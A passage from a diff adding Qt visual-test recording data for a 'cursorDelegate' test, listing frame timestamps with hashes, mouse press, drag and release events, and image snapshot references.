4496 + hash: "de924155855e76d0591217448f79bdb6" + } + Frame { + msec: 4512 + hash: "ea3f512181b3ee94d8cdd4d9f59ed962" + } + Frame { + msec: 4528 + hash: "c0e72cdf776b0c62742aa9c3683cd523" + } + Frame { + msec: 4544 + hash: "2aec32493055ad17f4aac9b3c9b84c5f" + } + Frame { + msec: 4560 + hash: "e0826ff09b628a5e3ddf6d9e5593f937" + } + Frame { + msec: 4576 + hash: "eacfa8db605b9e386a55508e8943e7d1" + } + Frame { + msec: 4592 + hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" + } + Frame { + msec: 4608 + hash: "60a60e06237318bf005f87bbba386fef" + } + Frame { + msec: 4624 + hash: "97549f388c02adb8884c2e79510adc7e" + } + Frame { + msec: 4640 + hash: "d882fe91d9df9862d620cf984e27d0bd" + } + Frame { + msec: 4656 + hash: "6310b65572e39256122c7620f7e87442" + } + Frame { + msec: 4672 + hash: "4e7374a683050ff440056b6e7c971d2b" + } + Frame { + msec: 4688 + hash: "35c0d55cda3a02eb4c441a5832bcbbf4" + } + Frame { + msec: 4704 + hash: "8d71c418593eb3e4834d5e608ffd3f29" + } + Frame { + msec: 4720 + hash: "0da2c1cd0138172698a3bee5d19168c5" + } + Frame { + msec: 4736 + hash: "8ca757a4fd1987329488f63251b0f6b4" + } + Frame { + msec: 4752 + hash: "70c827f1b34b44cbd775b666913556d6" + } + Frame { + msec: 4768 + hash: "2b91dcef1b3ca66059dd9db4c8e335f3" + } + Frame { + msec: 4784 + hash: "38abc77b2361ce257d39c0cf268ba42b" + } + Frame { + msec: 4800 + image: "cursorDelegate.4.png" + } + Frame { + msec: 4816 + hash: "7bed5747d6b771db0fe5802153e54f2f" + } + Frame { + msec: 4832 + hash: "9ac1bf268749bc8e58bc4d04b55ef849" + } + Frame { + msec: 4848 + hash: "64ea5cb46782d250c46a7a2c8cceea20" + } + Frame { + msec: 4864 + hash: "d81037eb21bfcb434b6c7f3bbd21ad12" + } + Frame { + msec: 4880 + hash: "1079ea3a1a62e2cca9a8e907bc5aa4e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 130; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4896 + hash: "3d78320cb021944d7c6cee1a42056663" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 130; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4912 + hash: "1e3f580f37a0dc063a383bdf435e85ea" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 131; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4928 + hash: "75e854ccaad087bfe776a843f0bd7284" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 132; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4944 + hash: "ad65de5a6887c0a31a9d8f72a2a651db" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 133; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 134; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4960 + hash: "62bc9c57724f7ab6bcf7d75d8ff68097" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 135; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4976 + hash: "00dfc5f4468482cb5f74e62be235b1d2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 136; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4992 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 137; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 138; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5008 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 139; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5024 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5040 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 141; y: 100 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 143; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5056 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5072 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5088 + hash: "748dc58a3ad83d7b99d7b26ad2f82786" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 148; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 149; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5104 + hash: "242cc0ee7c3bdb44e8933068d3a93b61" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 150; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5120 + hash: "3be6f0a35fb085dcf6c9481cf1c23f9d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5136 + hash: "a6f63267eaba9aefd2c9ab338571ef33" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5152 + hash: "ba37dd9ba649e294465dc707f6b768ec" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 153; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5168 + hash: "35b186609721ec0b8a121d15bc54ce49" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5184 + hash: "700ff15e4e48af93362455a149d90363" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 98 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5200 + hash: "1c51eb8d4d25d086bda4d595a49c3a86" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5216 + hash: "2f085b047d24384d463163df7fac2bd3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 158; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5232 + hash: "46d7aff6eb47e50e23c061ecb149fbf9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 98 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 161; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5248 + hash: "48d7a8f749f7501dbaa4599ca41096a5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5264 + hash: "4c2a085c69c118fedfa15fe46cdc508b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 164; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5280 + hash: "25f25828a4d22fe85db0de5c562f658e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 96 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 168; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5296 + hash: "e9fb14ec21e9ec1235d2fea6e055b69d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 170; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5312 + hash: "66417881aeb85778be66566241c45f5a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5328 + hash: "c8c136690ffd8e5cc3e58f7376693b4f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 96 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 178; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5344 + hash: "c58c4fb5b7197cd8bd95742dc8715bbf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 179; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5360 + hash: "2e0c93380883fcf2d0e56024fecba605" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 180; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5376 + hash: "5f169f09e3d868eb0425a331d4bc3144" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 182; y: 95 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 183; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5392 + hash: "ed648742be4b0ded04e713e83ed24b27" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 185; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5408 + hash: "92131288bb38480469f4578282dedaf8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5424 + hash: "e16773f750bb0f635552b1eeadb2d625" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 189; y: 93 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5440 + hash: "6e653cd552d82f38f30b8027d1951534" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 192; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5456 + hash: "cfc1d6efa8d1b3b86396704f0be031ad" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 194; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5472 + hash: "5848af73f5ab7c811639a6d01921d502" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 196; y: 92 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 198; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5488 + hash: "3823e7da05678f63e6761a81ed7233e2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 199; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5504 + hash: "d095abe9814a60824914960a11663f12" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 91 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5520 + hash: "18922bb3269d903a36e0b690249b473a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 91 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 201; y: 90 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5536 + hash: "4d8400a3ca2b782e7b054bb2f71d4543" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 202; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5552 + hash: "24ed25d7a767f01fb02f545fc6c6931a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 203; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5568 + hash: "55fb16784e3655ae70f97d6c32853cdc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 204; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5584 + hash: "694e6979f0de62b61324dc4b144a2d5d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 207; y: 86 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 208; y: 85 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5600 + hash: "e61b8b03251f6312e3de4e0c8af684d5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 210; y: 85 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5616 + hash: "6203321f87d53692dbb2b2aaf7dd3944" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5632 + hash: "297b77029475d77cd8e481199b23da30" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 213; y: 84 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 214; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5648 + hash: "414615d772b4c80bf85eabfdca6fd0e0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5664 + hash: "46d70882552a21267eebb3505da086f3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5680 + hash: "372acafc63624307bcb384c48a803ab7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 84 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5696 + hash: "1b98094dd4f192af8229b7058b8ce396" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5712 + hash: "d627fa0ce696e46650225e43134643f5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5728 + hash: "0410f4b504d768bc00940b20d3d942f9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 85 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 86 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 220; y: 86 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5744 + hash: "5f8011b44681d769800af8d205c757cb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 221; y: 87 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5760 + image: "cursorDelegate.5.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 87 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5776 + hash: "99f7a46f841f96445962b5fb3496d996" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5792 + hash: "ed8bba2823ca2fe7cf138af0fcc52806" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 224; y: 90 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5808 + hash: "c9007b7ae5038ba59bfc6fac15c80d5f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 226; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5824 + hash: "2db81c955a99652bcfef958e870054af" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 228; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5840 + hash: "1e3906d7f3ee5a29c3c90b8e1f6c1eb0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 229; y: 96 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 231; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5856 + hash: "fc59738903cc9e6f36ef4d27bfde9496" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 232; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5872 + hash: "768aaf4ef2b13b40b75bdf15787966b6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 233; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5888 + hash: "3085baedc0c58a6757b134bb4f80fa9e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 233; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5904 + hash: "0a1b8cad167bf93801f4d0dd34bf872e" + } + Frame { + msec: 5920 + hash: "6366e04808ee015feed44d95cc117e1e" + } + Frame { + msec: 5936 + hash: "dd67a8542a243aac9462e25dc1586e6e" + } + Frame { + msec: 5952 + hash: "e06c8788b2ef327d005b4048f0807334" + } + Frame { + msec: 5968 + hash: "dda2beda1253bd477d04cada4ec4df27" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 233; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5984 + hash: "d659d1724637d90497c8e417764d3477" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 232; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 232; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6000 + hash: "91035aecf2ac15f3c2c3dbc4b73b540f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 231; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6016 + hash: "91035aecf2ac15f3c2c3dbc4b73b540f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 230; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6032 + hash: "91035aecf2ac15f3c2c3dbc4b73b540f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 229; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 228; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6048 + hash: "91035aecf2ac15f3c2c3dbc4b73b540f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 227; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6064 + hash: "91035aecf2ac15f3c2c3dbc4b73b540f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 225; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6080 + hash: "bdc53613cad59416ed79287874eb59f8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 224; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6096 + hash: "54efe0acb07fb69827024a566773a36e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 220; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6112 + hash: "860530a5ac3d89193f3cf234e21f8f6a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6128 + hash: "ade5f8e28159304b22866f688efdbb46" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 102 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6144 + hash: "7d5f5cf34910527d899e89ea07fb7254" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6160 + hash: "c201ed0f2419396a229d8396152aba01" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 213; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6176 + hash: "b99135e2cb03ab252ff379c8001c26ad" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 102 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6192 + hash: "768aaf4ef2b13b40b75bdf15787966b6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 210; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6208 + hash: "71a5bed1a87e16c986b2f4b245e956b8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 210; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6224 + hash: "7155607add8c7254286097cda52b5888" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 208; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 207; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6240 + hash: "e516e4d8a4ef0195ae04b3287f536ffd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 206; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6256 + hash: "afa06d10b37d8ad8b57e392142ff50f2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 205; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6272 + hash: "88c3fe68f7251d87a5bf197b9d59b899" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 204; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 203; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6288 + hash: "b2687baf5148539ee2181b18077e0a3d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 202; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6304 + hash: "457aed68cee2b9f3ff3c7d5f0eb2b6aa" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 201; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6320 + hash: "48bb4683718a3b7c34baea29260fbe8c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 199; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6336 + hash: "7c32fbf799bbfc10d0fbdd96bcfa9d95" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 197; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6352 + hash: "68cee3b8213a9d38e2ed431d06eb6756" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 196; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 194; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6368 + hash: "596c732c40a86d16bc649f164b919457" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 188; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6384 + hash: "d9cb5bf69d4f8aaebefae6d680a99185" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6400 + hash: "bb6759f3aff00f027f4f426efb775d2d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 185; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6416 + hash: "a408d88f97c30ab8ab12a222b03571b4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 182; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6432 + hash: "bb2e8994dc014eb6d4e4e33257269c2a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6448 + hash: "190e9df0b8d20b0f37a198e9f3976416" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 171; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6464 + hash: "aa7be52534c8550948deea6ae174330d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6480 + hash: "533caac613ea1279a51a5b5b29acdccc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6496 + hash: "288cc34879d9ed8ed381ba6cc31de3e7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 159; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6512 + hash: "2a57602c47ab788f288daa81b985fc1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6528 + hash: "fa3540fafa1a9e3c5e796b598dce8fb1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6544 + hash: "7e9b17ae7c10cb30153539911ac6eb13" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6560 + hash: "9e62b16c858e80ff1294ec53e2390498" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 153; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6576 + hash: "287470e6cf9bd4b9acfd1cd1512307e3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 95 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6592 + hash: "4086c7c7a573a1b9f98d22ebf9b46c5f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 149; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6608 + hash: "7d0868f000a1102916720a29a332543f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 148; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6624 + hash: "bda3cfdca81f7cba54514c512eb6b12e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6640 + hash: "923ff9fac39c3fba2c9cf7b52fc652ad" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 145; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6656 + hash: "269718e3586affbbdf0b9599e12f5677" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 145; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6672 + hash: "d12e03b5da6ea7b162d7dec6930c1a54" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6688 + hash: "96edf1f15c674c5d8c4e4ce9e1d34f1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6704 + hash: "70ce229fae6985dd49de8cca01c031e6" + } + Frame { + msec: 6720 + image: "cursorDelegate.6.png" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 144; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6736 + hash: "56215b7d24ac382ff1ed256c80d14091" + } + Frame { + msec: 6752 + hash: "ac132304e072806431803d26e345b264" + } + Frame { + msec: 6768 + hash: "a8f3e7fbb95ed8fe2b83871eb3d2c151" + } + Frame { + msec: 6784 + hash: "43906030c2572af0f8f0577dbc86e346" + } + Frame { + msec: 6800 + hash: "d64b58801430d5063225dceac1603bca" + } + Frame { + msec: 6816 + hash: "56b81435dc4ce193bb98c3d02c781242" + } + Frame { + msec: 6832 + hash: "a33dce3c55b1b1541cfb9b85a75fcb53" + } + Frame { + msec: 6848 + hash: "6f7411363c66d0959ea5a16a9b610e61" + } + Frame { + msec: 6864 + hash: "fb7ad9156658f3866d19e43f006cf013" + } + Frame { + msec: 6880 + hash: "fca865f762c1a6cc3e487e0e908eef73" + } + Frame { + msec: 6896 + hash: "3d78320cb021944d7c6cee1a42056663" + } + Frame { + msec: 6912 + hash: "1e3f580f37a0dc063a383bdf435e85ea" + } + Frame { + msec: 6928 + hash: "75e854ccaad087bfe776a843f0bd7284" + } + Frame { + msec: 6944 + hash: "ad65de5a6887c0a31a9d8f72a2a651db" + } + Frame { + msec: 6960 + hash: "62bc9c57724f7ab6bcf7d75d8ff68097" + } + Frame { + msec: 6976 + hash: "00dfc5f4468482cb5f74e62be235b1d2" + } + Frame { + msec: 6992 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 7008 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 7024 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 7040 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 7056 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 7072 + hash: 